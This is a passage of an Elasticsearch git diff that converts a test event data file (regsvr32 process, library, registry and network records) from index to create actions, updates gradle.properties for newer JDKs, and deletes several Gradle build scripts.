"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240740000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace\\DelegateFolders", "value": "DelegateFolders", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240740000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\jscript.dll", "name": "jscript.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\amsi.dll", "name": "amsi.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SyncRootManager", "value": "SyncRootManager", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240890000, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\edputil.dll", "name": "edputil.dll" }, "@timestamp": 131883573240890000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\Windows.StateRepositoryPS.dll", "name": "Windows.StateRepositoryPS.dll" }, "@timestamp": 131883573240890000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.1810.5-0\\MpOAV.dll", "name": "MpOAV.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cldapi.dll", "name": "cldapi.dll" }, "@timestamp": 131883573241050000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\WinTypes.dll", "name": "WinTypes.dll" }, "@timestamp": 131883573241050000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wshom.ocx", "name": "wshom.ocx" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data\\418A073AA3BC3475", "value": "418A073AA3BC3475", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573241200016, "event": { "category": "registry" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\scrrun.dll", "name": "scrrun.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.1810.5-0\\MpClient.dll", "name": "MpClient.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573241369984, "event": { "category": "process", "type": "termination" } } -{"index":{}} +{"create":{}} { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "destination": { "address": "151.101.48.133", "port": "443" }, "source": { "address": "192.168.162.134", "port": "50505" }, "network": { "direction": "outbound", "protocol": "tcp" }, "@timestamp": 131883573238680000, "event": { "category": "network" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } diff --git a/docs/transport.p12 b/docs/transport.p12 new file mode 100644 index 0000000000000..4a7ea9f9348d7 Binary files /dev/null and b/docs/transport.p12 differ diff --git a/gradle.properties b/gradle.properties index f884f0194bada..2e458305180cd 100644 --- a/gradle.properties +++ b/gradle.properties @@ -1,6 +1,7 @@ org.gradle.warning.mode=none org.gradle.parallel=true -org.gradle.jvmargs=-XX:+HeapDumpOnOutOfMemoryError -Xss2m +# We need to declare --add-exports to make spotless working seamlessly with jdk16 +org.gradle.jvmargs=-XX:+HeapDumpOnOutOfMemoryError -Xss2m --add-exports jdk.compiler/com.sun.tools.javac.util=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.file=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.parser=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.tree=ALL-UNNAMED --add-exports jdk.compiler/com.sun.tools.javac.api=ALL-UNNAMED # Disable duplicate project id detection # See https://docs.gradle.org/current/userguide/upgrading_version_6.html#duplicate_project_names_may_cause_publication_to_fail @@ -15,4 +16,4 @@ systemProp.jdk.tls.client.protocols=TLSv1.2 # java homes resolved by environment variables org.gradle.java.installations.auto-detect=false -org.gradle.java.installations.fromEnv=JAVA_HOME,RUNTIME_JAVA_HOME,JAVA15_HOME,JAVA14_HOME,JAVA13_HOME,JAVA12_HOME,JAVA11_HOME,JAVA8_HOME +org.gradle.java.installations.fromEnv=JAVA_HOME,RUNTIME_JAVA_HOME,JAVA17_HOME,JAVA16_HOME,JAVA15_HOME,JAVA14_HOME,JAVA13_HOME,JAVA12_HOME,JAVA11_HOME,JAVA8_HOME diff --git a/gradle/build-complete.gradle b/gradle/build-complete.gradle deleted file mode 100644 index 2afabe074a77a..0000000000000 --- a/gradle/build-complete.gradle +++ /dev/null @@ -1,49 +0,0 @@ -import java.nio.file.Files - -String buildNumber = System.getenv('BUILD_NUMBER') - -if (buildNumber) { - File uploadFile = file("build/${buildNumber}.tar.bz2") - project.gradle.buildFinished { result -> - println "build complete, generating: $uploadFile" - if (uploadFile.exists()) { - project.delete(uploadFile) - } - - try { - ant.tar(destfile: uploadFile, compression: "bzip2", longfile: "gnu") { - fileset(dir: projectDir) { - Set fileSet = fileTree(projectDir) { - include("**/*.hprof") - include("**/reaper.log") - include("**/build/test-results/**/*.xml") - include("**/build/testclusters/**") - exclude("**/build/testclusters/**/data/**") - exclude("**/build/testclusters/**/distro/**") - exclude("**/build/testclusters/**/repo/**") - exclude("**/build/testclusters/**/extract/**") - } - .files - .findAll { Files.isRegularFile(it.toPath()) } - - if (fileSet.empty) { - // In cases where we don't match any workspace files, exclude everything - ant.exclude(name: "**/*") - } else { - fileSet.each { - ant.include(name: projectDir.toPath().relativize(it.toPath())) - } - } - } - - fileset(dir: "${gradle.gradleUserHomeDir}/daemon/${gradle.gradleVersion}", followsymlinks: false) { - include(name: "**/daemon-${ProcessHandle.current().pid()}*.log") - } - - fileset(dir: "${gradle.gradleUserHomeDir}/workers", followsymlinks: false) - } - } catch (Exception e) { - logger.lifecycle("Failed to archive additional logs", e) - } - } -} diff --git a/gradle/build-scan.gradle b/gradle/build-scan.gradle deleted file mode 100644 index 352ae40557a94..0000000000000 --- a/gradle/build-scan.gradle +++ /dev/null @@ -1,96 +0,0 @@ -import org.elasticsearch.gradle.OS -import org.elasticsearch.gradle.info.BuildParams -import org.gradle.initialization.BuildRequestMetaData - -import java.util.concurrent.TimeUnit - -long startTime = project.gradle.services.get(BuildRequestMetaData).getStartTime() - -buildScan { - background { - URL jenkinsUrl = System.getenv('JENKINS_URL') ? new URL(System.getenv('JENKINS_URL')) : null - String buildNumber = System.getenv('BUILD_NUMBER') - String buildUrl = System.getenv('BUILD_URL') - String jobName = System.getenv('JOB_NAME') - String nodeName = System.getenv('NODE_NAME') - - tag OS.current().name() - - // Tag if this build is run in FIPS mode - if (BuildParams.inFipsJvm) { - tag 'FIPS' - } - - // Automatically publish scans from Elasticsearch CI - if (jenkinsUrl?.host?.endsWith('elastic.co') || jenkinsUrl?.host?.endsWith('elastic.dev')) { - publishAlways() - buildScan.server = 'https://gradle-enterprise.elastic.co' - } - - // Link to Jenkins worker logs and system metrics - if (nodeName) { - link 'System logs', "https://infra-stats.elastic.co/app/infra#/logs?" + - "&logFilter=(expression:'host.name:${nodeName}',kind:kuery)" - buildFinished { - link 'System metrics', "https://infra-stats.elastic.co/app/metrics/detail/host/" + - "${nodeName}?_g=()&metricTime=(autoReload:!f,refreshInterval:5000," + - "time:(from:${startTime - TimeUnit.MILLISECONDS.convert(5, TimeUnit.MINUTES)},interval:%3E%3D1m," + - "to:${System.currentTimeMillis() + TimeUnit.MILLISECONDS.convert(5, TimeUnit.MINUTES)}))" - } - } - - // Jenkins-specific build scan metadata - if (jenkinsUrl) { - // Disable async upload in CI to ensure scan upload completes before CI agent is terminated - uploadInBackground = false - - // Parse job name in the case of matrix builds - // Matrix job names come in the form of "base-job-name/matrix_param1=value1,matrix_param2=value2" - def splitJobName = jobName.split('/') - if (splitJobName.length > 1 && splitJobName.last() ==~ /^([a-zA-Z0-9_\-]+=[a-zA-Z0-9_\-&\.]+,?)+$/) { - def baseJobName = splitJobName.dropRight(1).join('/') - tag baseJobName - tag splitJobName.last() - value 'Job Name', baseJobName - def matrixParams = splitJobName.last().split(',') - matrixParams.collect { it.split('=') }.each { param -> - value "MATRIX_${param[0].toUpperCase()}", param[1] - } - } else { - tag jobName - value 'Job Name', jobName - } - - tag 'CI' - link 'CI Build', buildUrl - link 'GCP Upload', "https://console.cloud.google.com/storage/_details/elasticsearch-ci-artifacts/jobs/${jobName}/build/${buildNumber}.tar.bz2" - value 'Job Number', buildNumber - - System.getenv().getOrDefault('NODE_LABELS', '').split(' ').each { - value 'Jenkins Worker Label', it - } - - // Add SCM information - def isPrBuild = System.getenv('ROOT_BUILD_CAUSE_GHPRBCAUSE') != null - if (isPrBuild) { - value 'Git Commit ID', System.getenv('ghprbActualCommit') - value 'Git Branch', System.getenv('ghprbTargetBranch') - tag System.getenv('ghprbTargetBranch') - tag "pr/${System.getenv('ghprbPullId')}" - tag 'pull-request' - link 'Source', "https://github.com/elastic/elasticsearch/tree/${System.getenv('ghprbActualCommit')}" - link 'Pull Request', System.getenv('ghprbPullLink') - } else { - if (System.getenv('GIT_BRANCH')) { - def branch = System.getenv('GIT_BRANCH').split('/').last() - value 'Git Branch', branch - tag branch - } - value 'Git Commit ID', BuildParams.gitRevision - link 'Source', "https://github.com/elastic/elasticsearch/tree/${BuildParams.gitRevision}" - } - } else { - tag 'LOCAL' - } - } -} diff --git a/gradle/bwc-test.gradle b/gradle/bwc-test.gradle deleted file mode 100644 index d9385e56edeca..0000000000000 --- a/gradle/bwc-test.gradle +++ /dev/null @@ -1,32 +0,0 @@ -import org.elasticsearch.gradle.Version -import org.elasticsearch.gradle.info.BuildParams - -ext.bwcTaskName = { Version version -> - return "v${version}#bwcTest" -} - -def bwcTestSnapshots = tasks.register("bwcTestSnapshots") { - if (project.bwc_tests_enabled) { - dependsOn tasks.matching { task -> BuildParams.bwcVersions.unreleased.any { version -> bwcTaskName(version) == task.name } } - } -} - -tasks.register("bwcTest") { - description = 'Runs backwards compatibility tests.' - group = 'verification' - - if (project.bwc_tests_enabled) { - dependsOn tasks.matching { it.name ==~ /v[0-9\.]+#bwcTest/ } - } -} - -tasks.withType(Test).configureEach { - onlyIf { project.bwc_tests_enabled } - nonInputProperties.systemProperty 'tests.bwc', 'true' -} - -tasks.named("check").configure { - dependsOn(bwcTestSnapshots) -} - -tasks.matching{ it.name.equals("test") }.configureEach {enabled = false} diff --git a/gradle/fips.gradle b/gradle/fips.gradle deleted file mode 100644 index 7286b35f112b7..0000000000000 --- a/gradle/fips.gradle +++ /dev/null @@ -1,77 +0,0 @@ -import org.elasticsearch.gradle.ExportElasticsearchBuildResourcesTask -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.testclusters.TestDistribution - -// Common config when running with a FIPS-140 runtime JVM -if (BuildParams.inFipsJvm) { - - allprojects { - String javaSecurityFilename = BuildParams.runtimeJavaDetails.toLowerCase().contains('oracle') ? 'fips_java_oracle.security' : 'fips_java.security' - File fipsResourcesDir = new File(project.buildDir, 'fips-resources') - File fipsSecurity = new File(fipsResourcesDir, javaSecurityFilename) - File fipsPolicy = new File(fipsResourcesDir, 'fips_java.policy') - File fipsTrustStore = new File(fipsResourcesDir, 'cacerts.bcfks') - def bcFips = dependencies.create('org.bouncycastle:bc-fips:1.0.2') - def bcTlsFips = dependencies.create('org.bouncycastle:bctls-fips:1.0.9') - - pluginManager.withPlugin('java-base') { - TaskProvider fipsResourcesTask = project.tasks.register('fipsResources', ExportElasticsearchBuildResourcesTask) - fipsResourcesTask.configure { - outputDir = fipsResourcesDir - copy javaSecurityFilename - copy 'fips_java.policy' - copy 'cacerts.bcfks' - } - - project.afterEvaluate { - def extraFipsJars = configurations.detachedConfiguration(bcFips, bcTlsFips) - // ensure that bouncycastle is on classpath for the all of test types, must happen in evaluateAfter since the rest tests explicitly - // set the class path to help maintain pure black box testing, and here we are adding to that classpath - tasks.withType(Test).configureEach { Test test -> - test.setClasspath(test.getClasspath().plus(extraFipsJars)) - } - } - - pluginManager.withPlugin("elasticsearch.testclusters") { - afterEvaluate { - // This afterEvaluate hooks is required to avoid deprecated configuration resolution - // This configuration can be removed once system modules are available - def extraFipsJars = configurations.detachedConfiguration(bcFips, bcTlsFips) - testClusters.all { - extraFipsJars.files.each { - extraJarFile it - } - } - } - testClusters.all { - setTestDistribution(TestDistribution.DEFAULT) - extraConfigFile "fips_java.security", fipsSecurity - extraConfigFile "fips_java.policy", fipsPolicy - extraConfigFile "cacerts.bcfks", fipsTrustStore - systemProperty 'java.security.properties', '=${ES_PATH_CONF}/fips_java.security' - systemProperty 'java.security.policy', '=${ES_PATH_CONF}/fips_java.policy' - systemProperty 'javax.net.ssl.trustStore', '${ES_PATH_CONF}/cacerts.bcfks' - systemProperty 'javax.net.ssl.trustStorePassword', 'password' - systemProperty 'javax.net.ssl.keyStorePassword', 'password' - systemProperty 'javax.net.ssl.keyStoreType', 'BCFKS' - systemProperty 'org.bouncycastle.fips.approved_only', 'true' - setting 'xpack.security.fips_mode.enabled', 'true' - setting 'xpack.license.self_generated.type', 'trial' - keystorePassword 'keystore-password' - } - } - project.tasks.withType(Test).configureEach { Test task -> - task.dependsOn('fipsResources') - task.systemProperty('javax.net.ssl.trustStorePassword', 'password') - task.systemProperty('javax.net.ssl.keyStorePassword', 'password') - task.systemProperty('javax.net.ssl.trustStoreType', 'BCFKS') - // Using the key==value format to override default JVM security settings and policy - // see also: https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html - task.systemProperty('java.security.properties', String.format(Locale.ROOT, "=%s", fipsSecurity)) - task.systemProperty('java.security.policy', String.format(Locale.ROOT, "=%s", fipsPolicy)) - task.systemProperty('javax.net.ssl.trustStore', fipsTrustStore) - task.systemProperty('org.bouncycastle.fips.approved_only', 'true') - } - } - } -} diff --git a/gradle/forbidden-dependencies.gradle b/gradle/forbidden-dependencies.gradle deleted file mode 100644 index cd10d504a2fe9..0000000000000 --- a/gradle/forbidden-dependencies.gradle +++ /dev/null @@ -1,27 +0,0 @@ - -// we do not want any of these dependencies on the compilation classpath -// because they could then be used within Elasticsearch -List FORBIDDEN_DEPENDENCIES = [ - 'guava' -] - -Closure checkDeps = { Configuration configuration -> - configuration.resolutionStrategy.eachDependency { - String artifactName = it.target.name - if (FORBIDDEN_DEPENDENCIES.contains(artifactName)) { - throw new GradleException("Dependency '${artifactName}' on configuration '${configuration.name}' is not allowed. " + - "If it is needed as a transitive depenency, try adding it to the runtime classpath") - } - } -} - -subprojects { - if (project.path.startsWith(':test:fixtures:') || project.path.equals(':build-tools')) { - // fixtures are allowed to use whatever dependencies they want... - return - } - pluginManager.withPlugin('java') { - checkDeps(configurations.compileClasspath) - checkDeps(configurations.testCompileClasspath) - } -} diff --git a/gradle/formatting.gradle b/gradle/formatting.gradle deleted file mode 100644 index 6ba38aed44c89..0000000000000 --- a/gradle/formatting.gradle +++ /dev/null @@ -1,182 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -import org.elasticsearch.gradle.BuildPlugin - -/* - * This script plugin configures formatting for Java source using Spotless - * for Gradle. Since the act of formatting existing source can interfere - * with developers' workflows, we don't automatically format all code - * (yet). Instead, we maintain a list of projects that are excluded from - * formatting, until we reach a point where we can comfortably format them - * in one go without too much disruption. - * - * Any new sub-projects must not be added to the exclusions list! - * - * To perform a reformat, run: - * - * ./gradlew spotlessApply - * - * To check the current format, run: - * - * ./gradlew spotlessJavaCheck - * - * This is also carried out by the `precommit` task. - * - * For more about Spotless, see: - * - * https://github.com/diffplug/spotless/tree/master/plugin-gradle - */ - -// Do not add new sub-projects here! -def projectPathsToExclude = [ - ':client:benchmark', - ':client:client-benchmark-noop-api-plugin', - ':client:rest', - ':client:rest-high-level', - ':client:sniffer', - ':client:test', - ':example-plugins:custom-settings', - ':example-plugins:custom-significance-heuristic', - ':example-plugins:custom-suggester', - ':example-plugins:painless-whitelist', - ':example-plugins:rescore', - ':example-plugins:rest-handler', - ':example-plugins:script-expert-scoring', - ':example-plugins:security-authorization-engine', - ':libs:elasticsearch-cli', - ':libs:elasticsearch-core', - ':libs:elasticsearch-dissect', - ':libs:elasticsearch-geo', - ':libs:elasticsearch-grok', - ':libs:elasticsearch-nio', - ':libs:elasticsearch-plugin-classloader', - ':libs:elasticsearch-secure-sm', - ':libs:elasticsearch-ssl-config', - ':libs:elasticsearch-x-content', - ':modules:aggs-matrix-stats', - ':modules:analysis-common', - ':modules:ingest-common', - ':modules:ingest-geoip', - ':modules:ingest-user-agent', - ':modules:lang-expression', - ':modules:lang-mustache', - ':modules:lang-painless', - ':modules:lang-painless:spi', - ':modules:mapper-extras', - ':modules:parent-join', - ':modules:percolator', - ':modules:rank-eval', - ':modules:reindex', - ':modules:repository-url', - ':modules:systemd', - ':modules:tasks', - ':modules:transport-netty4', - ':plugins:analysis-icu', - ':plugins:analysis-kuromoji', - ':plugins:analysis-nori', - ':plugins:analysis-phonetic', - ':plugins:analysis-smartcn', - ':plugins:analysis-stempel', - ':plugins:analysis-ukrainian', - ':plugins:discovery-azure-classic', - ':plugins:discovery-ec2', - ':plugins:discovery-gce', - ':plugins:ingest-attachment', - ':plugins:mapper-annotated-text', - ':plugins:mapper-murmur3', - ':plugins:mapper-size', - ':plugins:repository-azure', - ':plugins:repository-gcs', - ':plugins:repository-hdfs', - ':plugins:repository-s3', - ':plugins:store-smb', - ':plugins:transport-nio', - ':qa:die-with-dignity', - ':rest-api-spec', - ':server', - ':test:fixtures:azure-fixture', - ':test:fixtures:gcs-fixture', - ':test:fixtures:hdfs-fixture', - ':test:fixtures:krb5kdc-fixture', - ':test:fixtures:minio-fixture', - ':test:fixtures:old-elasticsearch', - ':test:fixtures:s3-fixture', - ':test:framework', - ':test:logger-usage', - ':x-pack:license-tools', - ':x-pack:plugin:analytics', - ':x-pack:plugin:async-search', - ':x-pack:plugin:async-search:qa', - ':x-pack:plugin:ccr', - ':x-pack:plugin:ccr:qa', - ':x-pack:plugin:core', - ':x-pack:plugin:deprecation', - ':x-pack:plugin:enrich:qa:common', - ':x-pack:plugin:eql', - ':x-pack:plugin:eql:qa', - ':x-pack:plugin:eql:qa:common', - ':x-pack:plugin:frozen-indices', - ':x-pack:plugin:graph', - ':x-pack:plugin:identity-provider', - ':x-pack:plugin:ilm', - ':x-pack:plugin:mapper-constant-keyword', - ':x-pack:plugin:mapper-flattened', - ':x-pack:plugin:ml', - ':x-pack:plugin:monitoring', - ':x-pack:plugin:ql', - ':x-pack:plugin:rollup', - ':x-pack:plugin:search-business-rules', - ':x-pack:plugin:security', - ':x-pack:plugin:security:cli', - ':x-pack:plugin:spatial', - ':x-pack:plugin:sql', - ':x-pack:plugin:sql:jdbc', - ':x-pack:plugin:sql:qa', - ':x-pack:plugin:sql:qa:security', - ':x-pack:plugin:sql:sql-action', - ':x-pack:plugin:sql:sql-cli', - ':x-pack:plugin:sql:sql-client', - ':x-pack:plugin:sql:sql-proto', - ':x-pack:plugin:transform', - ':x-pack:plugin:vectors', - ':x-pack:plugin:voting-only-node', - ':x-pack:plugin:watcher', - ':x-pack:plugin:wildcard', - ':x-pack:qa', - ':x-pack:qa:security-example-spi-extension', - ':x-pack:test:idp-fixture', - ':x-pack:test:smb-fixture' -] - -subprojects { - plugins.withType(BuildPlugin).whenPluginAdded { - if (projectPathsToExclude.contains(project.path) == false) { - project.apply plugin: "com.diffplug.spotless" - - spotless { - java { - // Normally this isn't necessary, but we have Java sources in - // non-standard places - target '**/*.java' - - removeUnusedImports() - eclipse().configFile rootProject.file('buildSrc/formatterConfig.xml') - trimTrailingWhitespace() - - // See CONTRIBUTING.md for details of when to enabled this. - if (System.getProperty('spotless.paddedcell') != null) { - paddedCell() - } - } - } - - tasks.named("precommit").configure {dependsOn 'spotlessJavaCheck' } - } - } -} diff --git a/gradle/ide.gradle b/gradle/ide.gradle deleted file mode 100644 index d515136fac35e..0000000000000 --- a/gradle/ide.gradle +++ /dev/null @@ -1,212 +0,0 @@ -import org.elasticsearch.gradle.info.BuildParams -import org.jetbrains.gradle.ext.JUnit - -import java.nio.file.Files -import java.nio.file.Paths -import java.nio.file.StandardCopyOption - -buildscript { - repositories { - maven { - url "https://plugins.gradle.org/m2/" - } - } - dependencies { - classpath "gradle.plugin.org.jetbrains.gradle.plugin.idea-ext:gradle-idea-ext:0.7" - } -} - -allprojects { - apply plugin: 'idea' - - tasks.named('idea').configure { - doFirst { throw new GradleException("Use of the 'idea' task has been deprecated. For details on importing into IntelliJ see CONTRIBUTING.md.") } - } -} - -tasks.register('configureIdeCheckstyle') { - group = 'ide' - description = 'Generated a suitable checkstyle config for IDEs' - - String checkstyleConfig = 'buildSrc/src/main/resources/checkstyle.xml' - String checkstyleSuppressions = 'buildSrc/src/main/resources/checkstyle_suppressions.xml' - String checkstyleIdeFragment = 'buildSrc/src/main/resources/checkstyle_ide_fragment.xml' - String checkstyleIdeConfig = "$rootDir/checkstyle_ide.xml" - - inputs.files(file(checkstyleConfig), file(checkstyleIdeFragment)) - outputs.files(file(checkstyleIdeConfig)) - - doLast { - // Create an IDE-specific checkstyle config by first copying the standard config - Files.copy( - Paths.get(file(checkstyleConfig).getPath()), - Paths.get(file(checkstyleIdeConfig).getPath()), - StandardCopyOption.REPLACE_EXISTING - ) - - // There are some rules that we only want to enable in an IDE. These - // are extracted to a separate file, and merged into the IDE-specific - // Checkstyle config. - Node xmlFragment = parseXml(checkstyleIdeFragment) - - // Edit the copy so that IntelliJ can copy with it - modifyXml(checkstyleIdeConfig, { xml -> - // Add all the nodes from the fragment file - Node treeWalker = xml.module.find { it.'@name' == 'TreeWalker' } - xmlFragment.module.each { treeWalker.append(it) } - - // Change the checkstyle config to inline the path to the - // suppressions config. This removes a configuration step when using - // the checkstyle config in an IDE. - Node suppressions = xml.module.find { it.'@name' == 'SuppressionFilter' } - suppressions.property.findAll { it.'@name' == 'file' }.each { it.'@value' = checkstyleSuppressions } - }, - "\n" + - "\n" + - "\n" + - "\n" - ) - } -} - -// Applying this stuff, particularly the idea-ext plugin, has a cost so avoid it unless we're running in the IDE -if (System.getProperty('idea.active') == 'true') { - apply plugin: org.jetbrains.gradle.ext.IdeaExtPlugin - - tasks.register('configureIdeaGradleJvm') { - group = 'ide' - description = 'Configures the appropriate JVM for Gradle' - - doLast { - modifyXml('.idea/gradle.xml') { xml -> - def gradleSettings = xml.component.find { it.'@name' == 'GradleSettings' }.option[0].GradleProjectSettings - // Remove configured JVM option to force IntelliJ to use the project JDK for Gradle - gradleSettings.option.findAll { it.'@name' == 'gradleJvm' }.each { it.parent().remove(it) } - } - } - } - - tasks.register('buildDependencyArtifacts') { - group = 'ide' - description = 'Builds artifacts needed as dependency for IDE modules' - dependsOn ':client:rest-high-level:shadowJar', ':plugins:repository-hdfs:hadoop-common:shadowJar', ':plugins:repository-azure:azure-storage-blob:shadowJar' - } - - idea { - project { - vcs = 'Git' - jdkName = BuildParams.minimumCompilerVersion.majorVersion - - settings { - delegateActions { - delegateBuildRunToGradle = false - testRunner = 'choose_per_test' - } - taskTriggers { - afterSync tasks.named('configureIdeCheckstyle'), tasks.named('configureIdeaGradleJvm'), tasks.named('buildDependencyArtifacts') - } - codeStyle { - java { - classCountToUseImportOnDemand = 999 - } - } - encodings { - encoding = 'UTF-8' - } - compiler { - parallelCompilation = true - processHeapSize = 2048 - addNotNullAssertions = false - javac { - generateDeprecationWarnings = false - preferTargetJDKCompiler = false - } - } - runConfigurations { - defaults(JUnit) { - vmParameters = '-ea -Djava.locale.providers=SPI,COMPAT' - } - } - copyright { - useDefault = 'Default' - scopes = ['x-pack': 'Elastic', 'llrc': 'Apache2'] - profiles { - Default { - keyword = 'the Elastic License 2.0 or the Server' - notice = '''\ - Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - or more contributor license agreements. Licensed under the Elastic License - 2.0 and the Server Side Public License, v 1; you may not use this file except - in compliance with, at your election, the Elastic License 2.0 or the Server - Side Public License, v 1.'''.stripIndent() - } - Elastic { - keyword = '2.0; you may not use this file except in compliance with the Elastic License' - notice = '''\ - Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - or more contributor license agreements. Licensed under the Elastic License - 2.0; you may not use this file except in compliance with the Elastic License - 2.0.'''.stripIndent() - } - Apache2 { - keyword = 'Licensed to Elasticsearch B.V. under one or more contributor' - notice = '''\ - Licensed to Elasticsearch B.V. under one or more contributor - license agreements. See the NOTICE file distributed with - this work for additional information regarding copyright - ownership. Elasticsearch B.V. licenses this file to you under - the Apache License, Version 2.0 (the "License"); you may - not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, - software distributed under the License is distributed on an - "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - KIND, either express or implied. See the License for the - specific language governing permissions and limitations - under the License.'''.stripIndent() - } - } - } - } - } - } -} - -/** - * Parses a given XML file, applies a set of changes, and writes those changes back to the original file. - * - * @param path Path to existing XML file - * @param action Action to perform on parsed XML document - * @param preface optional front matter to add after the XML declaration - * but before the XML document, e.g. a doctype or comment - */ -void modifyXml(Object path, Action action, String preface = null) { - Node xml = parseXml(path) - action.execute(xml) - - File xmlFile = project.file(path) - xmlFile.withPrintWriter { writer -> - def printer = new XmlNodePrinter(writer) - printer.namespaceAware = true - printer.preserveWhitespace = true - writer.write("\n") - - if (preface != null) { - writer.write(preface) - } - printer.print(xml) - } -} - -Node parseXml(Object path) { - File xmlFile = project.file(path) - XmlParser xmlParser = new XmlParser(false, true, true) - xmlParser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false) - Node xml = xmlParser.parse(xmlFile) - return xml -} diff --git a/gradle/local-distribution.gradle b/gradle/local-distribution.gradle deleted file mode 100644 index 9c0327bed228d..0000000000000 --- a/gradle/local-distribution.gradle +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 